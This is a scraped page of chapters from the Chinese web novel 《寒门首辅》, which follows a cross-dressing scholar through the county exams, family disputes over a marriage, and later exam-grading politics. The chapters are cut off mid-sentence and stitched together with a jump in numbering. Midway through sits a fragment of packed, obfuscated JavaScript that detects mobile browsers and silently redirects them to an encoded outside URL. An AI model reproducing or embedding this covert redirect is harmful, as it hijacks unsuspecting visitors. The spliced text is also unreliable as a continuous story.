她不想回府里温习并非是自得傲慢,而是觉得科举不是临时抱佛脚就能通过的,往日里只要积累足够,倒不在乎这么一时半日的温习。与之相反,若是一直心中紧张,如临大敌,总想着在考前再看一眼,再看一眼,说不定会信心全失,考时马失前蹄,这样就得不偿失了。 走了一炷香的时间,周边的街景已经换成了另一副模样,来来往往的人也从小商贩变成了零星走过的书生。 书生们大多头戴儒巾,着一身圆领儒士袍,言谈说笑。 但其中有一个不同。 春寒料峭的时候,他竟然穿一身薄薄春衫,脚下更更是着了一双草鞋,眉眼端正温润,双眸专注地盯着手上的书本,一边看,一边慢慢的朝七录书斋的方向踱去。 这书生看书看得出神,全然没注意前方来人,只听的砰的一声,那书生正好撞上从七录书斋中出来的一道人影,将那人影手上抱着的书卷全部碰掉在了地上。 那书生一惊,慌慌张张地蹲下去捡书,口中不住的道歉:“对不住,对不住!兄台勿怪,我这就给你把书本捡起来。” 被撞的那道人影居高临下地看着书生慌乱动作,面色如寒冰般冷硬,周身气息幽冷,像是从雪山冰海里走出来的一样,骨子里透露着掩饰不住的清冷高傲。 周稚宁忍不住扬眉。 赵淮徽? 赵淮徽面无表情的时候,周身的气息就像是飕飕的冷箭,给人一种前所未有的窒息感。 书生显然被赵淮徽的脸色吓到了,身子一抖,捡书的动作都不由的慢一点,再慢一点,最后停止,小心翼翼地开口:“兄、兄台,若是我碰坏了你哪本书,你将价钱告诉我,我一定赔、赔给你。你莫要生气……” 然而像赵淮徽这等士族买的东西,必然价格昂贵,不是这穷书生能负担得起的。但赵淮徽有理在先,若定要赔偿,这书生怕是把自己卖了才能还上。 周稚宁正思索着要不要插手管下闲事,那边赵淮徽已经动了。 他手指微抬,然后就这么蹲了下去,视线与书生齐平。 书生被他的动作吓的一个激灵,还没来得及做什么,就见赵淮 16. 童生试开始 《寒门首辅》全本免费阅读 周稚宁打量着面前的赵淮徽。 他眉眼俊美淡漠,还是周稚宁熟悉的那幅清贵冷傲模样,但掌心中被擦红的那一块皮肤还是昭示着他的不同。 赵淮徽是有些洁癖在身上的,忍受不了肮脏,但在那书生面前他还是忍住了,自己蹲下来一本本捡起了脏书,直到书生离开才迫不及待地拿手帕擦手。 本来他是不必忍耐这些的。 周稚宁想起那天赵淮徽对她的疑问,问她为什么不争辩,她当时认为赵淮徽是士族,注定不会理解下层人的种种不得已,所以连对他解释的兴趣都提不起来。 如今看来,也许赵淮徽是个不一样的士族? 周稚宁笑了一下:“如果赵兄有兴趣可以多看看,我也看她的文章,若有机会,可以交流一下心得。” 赵淮徽挑了一下眉,漆黑的眸子看向周稚宁,似乎在疑惑周稚宁对他态度的转变。 但半晌,他还是偏开头,轻哼地应了一声:“……嗯。” * 第二日,童生试正式开始。 一个州府之内,童生试的时间都是相同的,为了不耽误考试,礼房早就在七天以前就搭好了考棚。 周稚宁要去考试,周允德、杨氏等人也一块儿跟着去了。 这时候还是清晨,乳白色的雾气弥漫着整条街道。穿着圆领儒士袍的书生队伍从浓雾深处延伸出来,仿佛一眼看不到头。 这些都是在等待进礼房的人。 周稚宁第一回下场考试,周允德却是紧张极了,跟在周稚宁身后不停地转,偶尔想到一点,就拉着周稚宁的袖子问:“宁哥儿,你的考篮可齐备了?毛笔、墨、砚台,千万不要有遗落。” “儿子省得的,都备好了。”周稚宁耐心应答。 “还有结保单子,你带好了没有?”周允德语气慎重,“待会儿这单子可是要与礼房胥吏兑换考场试卷的。” “也带齐了。” “宁哥儿啊,那篮子里我和你大姐做了烤馕饼,还备了些干肉、水果,你饿了就吃。”杨氏凑上来,担心地说:“现下虽说是开春了,可还凉,你注意些,别冻着了。” “正是。”周巧珍也跟上来,从袖口里拿出一只荷包,“这是我和慧姐儿、秀姐儿给你绣的,里面装了回春堂的丸药,是提神醒脑的。若是写到惫懒的时候,就取一粒出来和水服下。” 三个人你一言我一语的,生怕周稚宁有那些地方不妥当。若不是周巧慧和周巧秀两个人因为年纪还小,不便出门,恐怕围着叮嘱周稚宁的又多两个。 望着家人们担心的眼神,周稚宁心中温暖,笑道:“阿娘、大姐,你们莫忧心,我都省得的。” 很快,队伍轮到了周稚宁。 周允德做主,暗暗地塞了一包银两给礼房胥吏,低声道:“大人,我儿年幼体弱,又是初次下场,难免茫然。还请大人分一间好号房,这是我们全家的一点心意,还望大人笑纳。” 科举由来已久,桌椅板凳自然也随着时光的冲刷而越发老旧。若是运气好分到一个好号房,里面桌椅板凳平平整整,那自然是好。若是运气不好,分到的桌面坑洼不平,臀下的板凳一动就吱嘎作响,难免影响考生发挥。 因此,有些尚有富余的家庭会拿出银子贿赂礼房胥吏,以便得一间好号房,这样也能让考生更舒服些。 收银子的胥吏显然做惯了这种事,手腕一翻,就将周允德的银钱收了,当下对周稚宁的面色也好了不少。随随便便验了一下身,连周稚宁的外袍都没弄乱,就叫人来领着她进了考棚。 考棚以内,闲杂人等是不能进的,因此周允德等人只能站在考棚外目送周稚宁的背影渐渐消失。 周允德满心惆怅:“但愿我儿能围榜有名。” 杨氏和周巧珍则赶紧收拾了东西,预备着回家再拜文昌神君,都希望漫天神灵能护佑周稚宁一举中的。 周稚宁这边进了考棚,就随着引路的胥吏站到了自己的号房前。 由于要隔绝考生作弊,每一个号房前后都用黑板挡的严严实实,而一个号房只有两平方左右的空间,放套桌椅板凳已是十分勉强,一旦人坐进去,更是要被折成两半。 但好在周允德给了贿赂,周稚宁分到的号房不错,比起其他人的稍微宽敞些,桌椅板凳看起来也有七成新。 周稚宁现在身量还未长开,坐在这号房里也不算难过。 终于入座,胥吏离开,之后又有人陆陆续续的被引进来,一个足以容纳五十人的考棚很快就被坐满了。 半个时辰后,考棚外起了一声炮响,这代表检验完毕,考试即将开始,迟到的考生不必再进了,已经进了考棚的考生做好准备。 周稚宁深吸一口气,先将考篮里的结保单拿出来,在桌面上铺平放好。再抬眸时,考棚最前方已经坐了个官员。 那人面容威严,身材高大,头戴一梁官帽,束乌角带,绶带上绘?鶒①二色。他绿袍官服上的补子绣着鹌鹑,手掌之上按着一块槐木笏板。周身气息冷肃庄严,凛然不敢犯。 这就是平城的县令,也是牛老师的学生,名唤左志林。 左志林身为平城的主考官,自考前一天就入了考棚。 在他两边站着的是县学教官以及各个廪生,这些廪生都曾替人认保,周稚宁就看到刘廪生站在离左志林最远的地方。 听见外面炮响之后,左志林站起,手持名册点名。 低沉的声音每一次响起,都有一名考生应答,随即为这名考试认保的廪生上前作证。 这个过程持续时间不长,约莫两炷香的时间后,点名完毕,在场所有考生都确认无误,就有礼房胥吏捧着一打试卷恭恭敬敬地走了过来。 从甲字一号开始。 那甲字考生将自己保单交给胥吏,胥吏确认,随即下发试卷。 即使胥吏动作颇快,也还是花了半炷香时间。 周稚宁是乙字三号,且龄未满二十,因此拿到的是未冠文题。 她简略地翻阅了一下,果真是四书两道,诗一道。 四书考题第一道问的是:“如用之”,次题:“与其进也”。通场诗题:赋得薄采其芹(得科字五言六韵)。恭默圣谕广训:“人生十年”至“自鲜矣”。 周稚宁一边研开冷墨,一边构思。 首题:“如用之”是出自四书之一《论语》,全文应是:“子曰:先进于礼乐,野人也;后进于礼乐,君子也。如用之,则吾从先进。”② 意思是孔子说:“先学习礼乐而后再做官的人,是(原来没有爵禄的)平民;先当了官然后再学习礼乐的人,是君子。如果要先用人才,那我主张选用先学习礼乐的人。”③ 这道题并不难,有很多方向可以写,可见左志林选此题目作为童生试四书第一道是不想为难考生。 周稚宁脑子里闪过种种思路,最终选定了最为中庸的 17. 他不可能躲一辈子 《寒门首辅》全本免费阅读 按照规矩,第一场考完之后,过不了三四天就要发案,到时五十个考生的名字会以逆时针的形式出现在榜单之上,这就是团榜。 团榜最中间的一个,就是案首。 其他学生都为发案而焦躁不安,周稚宁一个人躲在书房里,将第一场考试的两道四书题目回忆了一遍,紧接着就以平江笑笑生的名义重新写了两篇文章,在发案的前一天送去了存文堂。 存文堂的掌柜自然认识周稚宁,他一面收下文章,一面笑道:“自上次一篇忠奸之论后,小兄弟可是好久没来送文章了。这回一次就得了两篇,真是喜事。不过我看这题目怎像是前几日童生试第一场的四书题?难不成平江笑笑生也是应考考生之一呢?” 书斋做的就是科举生意,掌握童生试的考题并不意外。 周稚宁漫不经心地回答道:“唔,确实是四书题。只不过是因为平江笑笑生家中有后辈应试,她一时兴起,这才写了两篇。” 掌柜的也是说个玩笑话,平江笑笑生笔力劲厚,词锋犀利,积累厚重,即便是参加科举,也不该还在考童生试。 比起其他身份,掌柜的更愿意相信平江笑笑生是一个文才惊艳的隐士,下笔剖析世间万物,转身回归山林市井。大隐隐于市,这才是高人的风范。 想到这里,掌柜的心中对平江笑笑生越发敬仰,手中银子就多称了一点,递给周稚宁:“小兄弟,还请替我向平江笑笑生问好。愿他老人家身康体健,岁岁安康。” 老人家? 周稚宁心虚地摸了摸鼻子,拢袖应下:“小子一定把话带到。” 言罢,她赶紧转身离开了存文堂。 * 第二日团榜将出未出之前,礼房外已经挤满了前来看榜的考生。 周稚宁跟着章长庆几个落在乌泱泱的人堆后面,看着连脚都落不下的街道兴叹。 这也太恐怖了些。 王田摇头叹息:“唉,昨日回家与一些同窗对过答案,这才发现我四书首题思路略偏了些,这次团榜,我怕是要落了。” 何宝明安慰他道:“先别说这些丧气话,万一榜上有名呢?” 胡平清说:“就算这次不中,咱们也还年轻,三年后还能再考。左右这次也是第一次下场,权当练手吧。” 说着,他又看向周稚宁:“简斋兄,你可有把握么?” 周稚宁苦笑一声摇摇头:“全靠天意吧。” 言罢,五个人互相对视一样,各自叹气。 这时,他们身后驶来一辆马车。 一道颀长的身影踩着矮凳下来,对着他们五个遥遥笑道:“怎么都聚在这儿?” 回头一看,正是周明承来了。 他今日一身鸦青色素面刻丝长袍,腰间是素色的带子。眉眼温润俊朗,像一块莹润的玉石,散发着淡淡的光泽。 周稚宁拢袖行礼:“承堂兄。” 周明承对她点点头,一双瑞凤眼闪烁着柔和的笑意。 其余四人却都是一凛。 他们都知道周明承是个什么性子,虽说是好说话,有世家风度,但真要把他当成个没脾气的软和人,那却是大错特错。 高门大府里嫡子该有的雷霆手段和御下之术,周明承一个也不缺。他也就是对周稚宁亲近些,对其他人都有一种若有若无的疏离,仿佛是站在高处与人相交,叫人对他只生得起敬仰和尊崇之意,不敢僭越。 因此这四人都认认真真给周明承见了礼,随即又说了一两句无关痛痒的话,就全磨磨蹭蹭地往边缘移去,将说话的空间留给周明承与周稚宁。 周稚宁注意到这种现象,不由挠挠下巴。 这边周明承道:“茗雾,带着茗烟去给你宁主子看榜。” 茗雾、茗烟:“是。” 二人顺从地去了,左手右手用力拨开人群,硬生生挤了进去。 眼看他们去了,周明承又对周稚宁温和笑道:“下次有什么事儿吩咐茗烟就是了,你也是周府里的正经主子,不必事事都要自个儿动手。” “也是闲着无聊,想着左右没事儿,不如自己来瞧瞧,谁知道人多。”周稚宁垂眸说。 “这次可有把握?”周明承轻声问。 周稚宁摇摇头。 周明承沉吟了片刻,道:“若是不中,可下次再考。我认识一位名师,手下出过数十位举人,届时我引荐给你。若是中了,来年咱们兄弟二人便可以同时下场考试。到时一同离开平城去往省会,也可以作伴。” 他语气很是平和,就像是堂兄在关心堂弟,一片坦荡关切之心。 到现在,周稚宁也不得不承认,也许周明承真的不是在做戏,他的某些关心是真诚的。 但是周稚宁却不愿意跟着周明承再到一起,毕竟她身上背负着女扮男装的秘密,更何况周明承与周允能是父子关系,但她对周允能观感不好,甚至说不定以后同入官场,还会彼此为敌。 现在她与周明承走的越近,将来就越是……无法狠下手做事。 无法控制的关系,还是在现在扼制为好。 但周稚宁面上还是笑道:“谢承堂兄挂念。” 周明承神情一片温和。 这时,看榜的人群里忽然发出一阵巨大的喧哗之声,原来是负责贴榜的胥吏从礼房里出来了。 为首的一个手上捧着一张榜,身后跟着两个着皂靴,戴佩刀的官兵。 三个人一出来,原本在榜前黑压压挤成一片的人群,立马让出了一条足够他们进出的道路。 胥吏快步走进,在众目睽睽之下贴好了榜,然后离开。 下一刻,人群仿佛是沸水扔进了油锅里,爆发一阵震天动地的吵闹。 “我中了!我中了!” “我的座位号在哪儿?!没有!怎么会没有呢?!” “我们家公子也中了!中了!” …… 一场考试,或哭或笑,居然还有几个书生因为太过激动晕了过去,被人你一把我一把地扶起走了。 茗烟那边也得了消息,十分兴奋地跑过来道:“回承主子、宁主子的话,宁主子她考上了!” “什么名次?”周明承问。 茗烟一时回不上来,他只看见周稚宁榜上有名,就着急回来报喜了。 正好茗雾也跑了回来,高兴地说:“宁主子的座位号是乙字三号,在团榜第三行,是个好名次!” 团榜第三行,那就是五十人里面排在第三四十名的模样,实在不算好名次,但起码中了。 周明承也笑了,道:“恭喜宁堂弟了。”转头又对茗烟说:“知道你小子猴精,想第一个来讨喜,你宁主子不会缺了你的。回府之后去管事儿哪儿取喜钱去吧。茗雾,也有你的一份儿。” 茗雾、茗烟立即跪下谢恩,欣喜道:“谢大公子!” 周明承看向周稚宁,眼眸如明镜春水:“我倒忘了,越过手替你打赏了,堂弟勿怪。不如来日堂弟再高中,再赏我杯喜酒喝吧。” 周稚 18. 还请赵兄救命 《寒门首辅》全本免费阅读 团榜出来的第二天,就进行了童生试的第二场考试。 周稚宁与第一场考试一样,对每一个题目都取了中庸的思路,尽力做到不争第一,但也不落出榜单。 就这么持续考了三场,等最后一场考完,县试就告一段落了。 接下来的事情就是县学里忙活了,他们会对整场县试的成绩进行一个整理,按照优劣给考生进行排名,最后决出长案、正案、总案。 周稚宁拿着考篮回家后,杨氏率先迎出来,接过她考篮里那支从文昌神君神位前求来的毛笔,又恭恭敬敬地供在了香案上。 按照杨氏的说法就是这支毛笔已经耗过神性了,得放在香案前再供着,才能再继续护佑周稚宁。 周巧珍几个则连忙给周稚宁端来热乎乎的吃食,在狭小的号房里考了一天,整个人肯定是又饿又冷。 周稚宁笑着一一接下,抬眼却见周允德面色微沉。 “父亲。”周稚宁拢袖对周允德行了一礼。 周允德道:“来我书房里一趟。” 周稚宁抿唇:“是。” 她心里有预感周允德要对她说什么。 果不其然,刚来到书房里站定,周允德就开了口:“县试第一场的团榜,你为何只在中下游?” 按照西山村各位老师给周稚宁的评价,她不说争个案首,起码也要排在前十啊。怎么这回成绩大为退步,甚至还差点掉出了榜单。 对此,周稚宁早就想好了应答之语,她垂眸道:“父亲以为将儿送来平城念族学,是为了儿的青云之路。但父亲可知这族学里是何情况?” 周允德一愣。 周稚宁道:“族学之中分三六九等,身份微末不入流者坐在后三排,周家本族人坐在前三排。儿甫一入学,便被安排在最后一等的座次。老师授课时常常听不清所讲内容,课后更是不知该向何人请教。如此以往,父亲以为儿是受益多,还是受害多?” 周允德浑身一震。 他以为周允能与他毕竟是兄弟,虽然周允能从来都看不起他这个没才能的弟弟,可是他们也是一母同胞,是骨肉至亲!周允能应当是不会害他的才是。谁料、谁料周稚宁在族学里居然是这么个待遇。 他第一次看见团榜成绩时,甚至还误以为是西河村老师们批语有误,周稚宁才能并没有那么出众,谁知道症结居然是在族学! 周稚宁眼见周允德大惊失色,又添上一把火,道:“族学之中老师更是有远近亲疏,除却一位牛老师外,其余老师皆是亲近周家本族之人,儿的课业无人问津,如今更是连学到哪儿也模糊了。再这么下去,儿以为已不必再科举了,总归是落第罢了。” 这话说的太狠了! 也是周稚宁拿捏准了自己这位父亲的态度,毕竟儿子的前途就是他的命。 “不许说这样的话,就是拼了命,我也不会允许任何人害你。”周允德咬紧牙关,脸色发青,却意外的坚决,“我这就去见你大伯父!” 在此前,周允德被周府的一切遮蔽了双眼,宁肯对周稚宁发狠也不许她离开平城,这是为了她的前途。到如今,眼见着儿子居然硬生生地要被耽误了,就是平城有千万两黄金给他,他也不肯再待下去了。 一旦下定决心,周允德行动能力简直快得惊人,披上外衣就出了门。 周稚宁见状内心也颇为欣慰。 总不枉她在周府里装孙子装得这般幸苦,总算是一举把周允德给劝动了。 周允德急急冲出门的举动惊到了杨氏,她还不知道周稚宁和周允德两个说了什么,但看见周允德出门前铁青的面孔,杨氏心里不由升起一点不祥的预感。 “宁哥儿……” 杨氏走到周稚宁身边,小心翼翼地问:“你父亲这是去做什么?” “去请辞。” 因为了却了一桩心事,周稚宁的心里很轻松,连带着语气也很不错,就多给杨氏解释了两句:“周府里的族学不好,父亲去与大伯请辞之后,我还是照常回西河村上私塾。” 杨氏先是眼瞳一颤,然后勉强问:“那考试怎么办?” “院试一类不必一定要在平城考,回了西河村再考也是一样。”周稚宁说着,左右看看,“阿娘你若是闲暇,现在就可以收拾包袱了。” 一边说着,周稚宁一边朝里房走去,似乎是想通知周巧珍三个。 可是她还没走上两步,就被人死死扯住了衣袖。 杨氏抓住她衣袖的手极为用力,用力到几乎下一秒就要把这衣料给扯破,语气里甚至带上了一丝恳求:“宁哥儿,咱们是非回西河村不可么?” 对于这个母亲,周稚宁也很无奈,她无奈道:“咱们是一定要回去的,不管母亲有何想法,最好在现在全部打消。” 谁知话音落下,向来听话的杨氏却出奇地摇头,脸色微白:“不,不能回去。宁哥儿,若你还将你大姐当作亲姊妹对待,现在不要回西河村,就算是为娘的求你。” 周稚宁先是一愣,往后像是明白了什么,心中骤然一沉:“阿娘,你是不是去找大伯父,求他给大姐指亲了?!” 纵使是杨氏,也没听过自家儿子用这样的语气跟她说话。她自知自己是自作主张,可是她觉得自己也没做错,还是强撑着道: “宁哥儿,你也莫怪我不听你的话,我是真的不愿看见珍姐儿白白地糟蹋在庄稼汉手里。” “你、你……”周稚宁简直要气的脸色发青,“我早跟你说过了,大伯父他不是什么好人,你怎么就是不听。你让他指婚,他能给你指个什么好人家?!” “你大伯父还是疼你大姐的。”杨氏忙拉着周稚宁的衣袖解释,“你大伯父说他认识一个叫杨忠宝的文官,如今当的是大理寺评事的差事,年方二十五,却还没有娶妻。近来想求一位贤淑的娘子,你大姐正正合适啊!” 周稚宁紧紧拧着眉,只觉得杨氏太过愚昧无知! 大理寺评事的职位虽然不高,但好歹也是个从七品的官儿,更何况是在大理寺这样升职容易的地方,恐怕不过两三年,这个叫杨忠宝的职位就会翻个番。 这样的前途光明的人物,哪家不想嫁女?莫说平城,就是放眼周边三四座城池,也能挑出不下二十家,而且家家都能比他们家底丰厚。 可周允能这个老狐狸居然愿意做这桩亲,那就证明这门亲事必定是另有图谋! 周稚宁气得咬牙:“大伯父是怎么跟你说的?” 杨氏还想着能劝周稚宁,于是一五一十地把周允能对她说的话全盘托出:“你大伯父真的为了你大姐好,他说那个杨忠宝家境不错,为人可靠,来说亲的人家简直要踏破门槛。可因为你大伯父和杨忠宝有点情谊,所以你大伯父才愿意说这个亲。只是……” 没等杨氏说完,周稚宁就接着她的话说:“只是杨忠宝着急娶亲,所以要连夜先把庚贴送过去再谈其他。对不对?” 周稚宁居然把周允能的话全然复述了一遍,这叫杨氏一怔,居然有点反应不过来了:“宁哥儿,你怎么知道的……?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12750256|131524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圣上‘不尊’吗?” 这顶帽子扣下来可不得了,当即有人怒道:“曹元通你说话小心些,我们何时有说圣上‘不尊’的意思了?” 可曹元通也不是很服气。 眼看着一场争吵就要起了,主考官不得不站出来说道:“各位稍安勿躁,稍安勿躁。大家都是同年,又都是在朝为官,为圣上效力,何必彼此闹得不愉快呢?” 一旁也有人附和道:“是啊,大家都是同僚,何必伤了和气?既然这份卷子咱们都无法判定,那不如看谭大人怎么说。” 主考官,也就是谭素华将这份卷子看过一遍,也是深深拧起了眉头,陷入了斟酌。 “这卷子实在难说,大家你有你的见解,我也有我的见解。”另有人开口道:“若是能交给圣上亲观,事情就可以解决了。” “为了一份试卷就去面圣,圣上只会怪我们白食朝廷俸禄吧?” “若是有一人能够代表圣上的意思,代替圣上阅卷就好了。” 谭素华听到这里,像是想到了什么人,眼前一亮,当即把试卷收了起来。 “罢了,你们不要再议了,这份试卷先暂存在老夫这儿,半月之内,老夫必然给你们一个结果。” 主考官无论是身份、资历还是威望都是足以让这些官员信服的,因此大家虽然不明白主考官到底想到了什么方法,但都勉强安静了下来,重新回到自己的座位上判卷。 先前拦住曹元通的官员与他进的是同一间房,才落座,李显就道:“元通兄,你那脾气好歹也收一收,你又不是不知道如今咱们北直隶府的官员是个什么情况?你又何必与他们南直隶府的硬碰硬呢?” “我就看不惯南人那副矫揉造作的样子。”曹元通提到南人就生气,“天天说话跟绕弯子似的,开口典故,闭口经典,跟不掉书袋子就不能说话似的。他们还歧视咱们北人粗鄙,他们呢?他们拐着弯儿骂人就不粗鄙了?” 当年曹元通刚来朝廷任职,就因为听不懂那些南方文人说话,而被明里暗里讥讽了一顿。可偏偏曹元通连讥讽都听不懂,还以为这群文人是在讨论历史呢,谁知道是在借古讽今。 从此曹元通就和南人结下了梁子。 而随着南北双方官员对于后辈刁难的升级,曹元通对南人的态度也就越差。 “咱们被这些南人打压了这么久是为什么?不就是因为咱们才子不够多嘛。但你瞧瞧今天的那篇策论,那写的叫一个精才绝艳!这群老家伙肯定是不敢让这名学生进官场,这才百般刁难。但我就是豁出去了也得把她保下来,说不定将来她就是咱们北直隶的人才!” 李显无奈地摇摇头,道:“咱们两个官微言轻,这种保人的事情,哪儿轮得到我们?而且你没看见谭大人的表情吗?这个人最后到底是得解元,还是得亚魁,还是得看那边。” “哪边?” 李显放下朱笔指了个方向,曹元通顺着看过去。 那是北方琅琊的方向。 * 八月秋日高照,琅琊的街道似乎都带了几分秋日的哀静和素淡。 赵府内,山茶花开的正好。 主考官在仆人的带领下穿过庭院时,都不由得对这些花树侧目,却忽然瞥见远处的游廊上站着一个青年。一袭青衫衬得他眉眼异常俊美,满身风骨又冷淡疏离。一双凤眼如墨点漆,薄唇微抿,遥遥望来时,似乎是于雪山之巅投下的淡淡一眼。 青年远远地对主考官点点头,动作之间颇为熟稔:“原来是谭大人。” 谭素华还了礼,同样上了游廊。 等他走近了,才发现原来青年身上还罩着一身银狐裘,裘领拥簇着他苍白的脸颊,使人无端多出几分破碎感。除此之外,青年好像极度畏寒,才八月里的天气,手上已经揣了个金绞丝南瓜手炉。其余身体部位也都拢在狐裘之内,受不得一点风。 “如今你这身子还未养好吗?”谭素华问。 “勉强度日罢了。”赵淮徽面色平淡。 谭素华在心里感叹了一下天妒英才,又不忍让赵淮徽站着听他说话。两人干脆一路穿过游廊去往暖厅,在路上,谭素华将来意匆匆说了一遍。随后又具体聊起了有争议的那篇文章,起先赵淮徽神色不变,依旧淡漠。可越听到后面,赵淮徽忍不住蹙了眉心。 这文风怎么如此熟悉? 赵淮徽忆起在周家时看周稚宁写的两篇文章,其水准就算在三年之内大有进步,也只能说是平庸,远远比不上这一篇令人惊艳。 刹那间,赵淮徽便想到了另外一个人—— 平江笑笑生。 “怎么?可是这篇文章确有不妥?”谭素华注意到赵淮徽的神色。 “并非不妥,而是……” 赵淮徽略微一顿。 自回琅琊以后,他就将平江笑笑生的文章全都钻研了一遍,可以说这世上没人比他更了解平江笑笑生。 谭素华谈起的这篇文章,无论是风格还是行文思路,都与平江笑笑生极像。 那这文章必然是出自她之手了…… “这篇文章极好,我想就是圣上也会喜欢的。”赵淮徽道。 赵淮徽得圣上看重,越级领了大理寺少卿的位置。这个消息谭素华早知道,自然也懂得如今赵淮徽的意思,其实就是圣上的意思。 他说这篇文章极好,那这篇文章就绝对当得起解元的位置。 谭素华便一笑:“我明白该如何判了。” 言罢,他抬眸望了望这山茶花满院的院子,道:“八月里,正是一同赏花吃蟹的好时候,但如今我正忙,等过了乡试这阵子,我再来登门拜访。” 赵淮徽唇角微勾:“谭大人若下次登门还是因为公事,那蟹膏温酒,就得大人请了。” 谭素华爽朗一笑:“我请我请。” 谭素华离开后,赵淮徽先目送了他一段,随后才将目光落在了身边一缸清水莲花之上。 水缸里,还有游鱼两三条,黑红相交,嬉戏莲间。 波纹荡漾之间,映出赵淮徽冷淡俊美的面容。 赵淮徽敛下眉眼,似乎是望向游鱼,又似乎在透过游鱼望向某个人。 只要平江笑笑生当真参加了科举,那么将来总有他们见面的一日。 届时二人同朝为官,未必不能成为好友。 25. 乡试出榜 旭日东升的清晨,淡金色的晨光透过密匝匝的枝条,投落满墙晃动的树影,斑驳交错,疏影横斜。 招松客栈内,零零散散坐了些用早点的文人。 “陈公子,这是左公子特意送来的。” 小二恭恭敬敬地为陈穗和这一桌拿上来了一个紫竹编篮子,打开一看,里面竟然躺着一方紫光暗滑的墨条。 “这是送的第几回了?”周稚宁呷了一口牛乳茶道。 “第七回了。”陈穗和说,面色有些为难。 自他与左世堂相遇之后,左世堂就三天两头地往他这边送东西。联系他们二人父亲的官职,陈穗和不难猜到左世堂的意图。 但是…… 陈穗和皱起眉头:“罢了,待我清点一下,再将这他的礼品退回给吧。” 周稚宁便瞧了那墨条几眼。 叩之清朗,神采奕奕,应当是紫玉光墨,这左世堂还当真是出手阔绰。 但是左长峰不过六品官,哪儿来的银子供儿子如此挥霍? 周稚宁敛下神色。 * 简单用完早膳以后,陈穗和就上楼清点礼品,周稚宁则起身去了城内的平安书斋。 北直隶府的书斋种类也很多,斋内流连的文人更是不少。 不过周稚宁去的早,但没有遇到人满为患的情况。于是她照例挑了一本赵徽的文集,然后找了一个清冷的角落坐了,细细翻阅起来。 关于赵徽的情况,周稚宁近来知晓的不多,就好似这个人前半生烈火烹油,轰轰烈烈,闹的整个大明都知道了这么一号人物。但后半生忽然冰雪寂寞一般,极度收敛,消息断绝。 周稚宁唯一知道的,就是赵徽殿试之时,以弱冠之年一举中第,得圣上亲封为状元,震惊朝野,轰动大明。他所作的一篇《民生论》更是广为传读,各家书坊争相刊印,几乎达到了洛阳纸贵的地步。 古时消息传播的不太快,等到周稚宁得知这个消息时,殿试已经过去了三月有余,而她直到今日才有时间回过头观摩这篇“状元之文”。 但是当周稚宁将文集里的《民生论》读过一遍之后,她不由愣了一愣。 她曾将赵徽的文章全都钻研了一遍,可以说她对于赵徽的文风十分了解。 若说以往的赵徽是金碧辉煌、珠光宝气,极度浪漫,那么在这篇《民生论》里面,她居然看见了赵徽的改变。 各种理论阐述都不再是悬浮的了,有种他飞了许久,终于落到了实地的感觉。 周稚宁不解地蹙了蹙眉心。 一个人的文风是具有稳定性的,除却那些追寻文风诡谲的文人以外,一般一个人的文风短时间之内不会发生变化。 那么,是什么造成了赵徽的改变? 周稚宁带着这个疑惑又将文章看了两遍,但终究找不出一个答案。 不过这种探索问题的感觉,让她久违的感受到自己好似是在做一个研究。课题就是赵徽,题目就是《论赵徽文风的几重变化》。 想着,周稚宁忍不住一笑。 若她能与赵徽成为好友的话……也许这些问题有的是时间供她想出答案。 “你确定陈穗和会喜欢这些文集吗?” 书架左边忽然传来一道男声,带着几分挑剔和质疑,打断了周稚宁的思绪。 “这些文集既不是名家所出,刊印的纸张和书墨都平平无奇,哪里比得上我今早送的那块紫玉光墨?” 周稚宁抬眸朝书架左边看去,从书籍之间的缝隙里,隐约可见两个男人正站在她面前交谈,其中一个正是左世堂,而另一个约莫是左世堂的友人。 友人道:“左兄,陈穗和这个人与常人不同,他不爱金玉珠宝一类的俗物,你就是送再多也没用。你瞧,陈穗和就连交往之人也不拘达官子弟,或者寒门布衣,由此可见一斑。” 话音落下,周稚宁就听到左世堂冷哼一声,似乎极为不屑:“你说的是周稚宁?一介寒门白衣,怎及你我出身官宦之家?陈穗和与她交好,反而对我处处拒绝,当真让我匪夷所思。” “周稚宁才能平庸,科考成绩不佳,还出身贫寒,确实不配与陈穗和此等出身之人为友。反而是左兄与赵鸿飞、何明欢几位皆是出身官宦之家,论才选能,也只不过是居于赵厉、宋基、刘濂三位之下。陈穗和与你们为友,才更衬得上他的身份。” 友人显然也是要仰仗左世堂的,因此处处都捧着左世堂说。 左世堂闻言,便越发瞧不起周稚宁,从出身到成绩都议论了个遍。 周稚宁坐在角落里听他们恶言恶语,一时不知该起身离开,还是该坐好不动,只好颇为尴尬地当作没听见,继续把自己埋在了书堆里。 直到左世堂挑了好了文集与友人离开,周稚宁才收拾着回到客栈。 巧的是,她前脚刚进客栈,后脚左世堂就和友人带着精心包好的文集也进来了。 “周兄。”友人对周稚宁微笑拱手,表面功夫做的滴水不漏,完全看不出他前一刻还瞧不上周稚宁的出身。 左世堂只对周稚宁略略点了点头,眼神中的轻蔑和高傲几乎要溢出来了。 周稚宁装瞎当做看不见,也与这二人简单见礼,随即就一人退到桌面,默默给自己倒了杯茶。 这时,陈穗和正好从客栈二楼出来,一打眼就看见了周稚宁正坐着喝茶,便笑道: “周兄?我寻了你好一阵儿了,听说你去了平安书斋?怎么也不叫我。” 平安书斋? 捕捉到这个关键词,左世堂和友人皆是一顿,然后隐晦地看向周稚宁。 周稚宁则颇为无辜地朝他二人笑了一笑。 这条街上必然没有第二个平安书斋了,也就是说,他俩在议论周稚宁的时候,很有可能已经叫周稚宁本人听去了。 友人要面子,顿时面露尴尬。 但左世堂本来想要结交的就不是周稚宁,得罪与否并无要紧,他反而觉得周稚宁是在偷听他们说话,品行低劣,着实可恶,因而他对着周稚宁冷哼一声,厌恶道:“果真小人……” 言罢,他转身迎上陈穗和:“陈兄。” 陈穗和被冷不丁拦住,再瞧清来人,笑意一下子淡了不少,但还是礼貌点头:“原来是左兄。” 左世堂从友人的手上拿过文集,道:“陈兄,我今日路过平安书斋,瞧见斋内有几本文集刊印的不错,所以特意买下替你送来。” 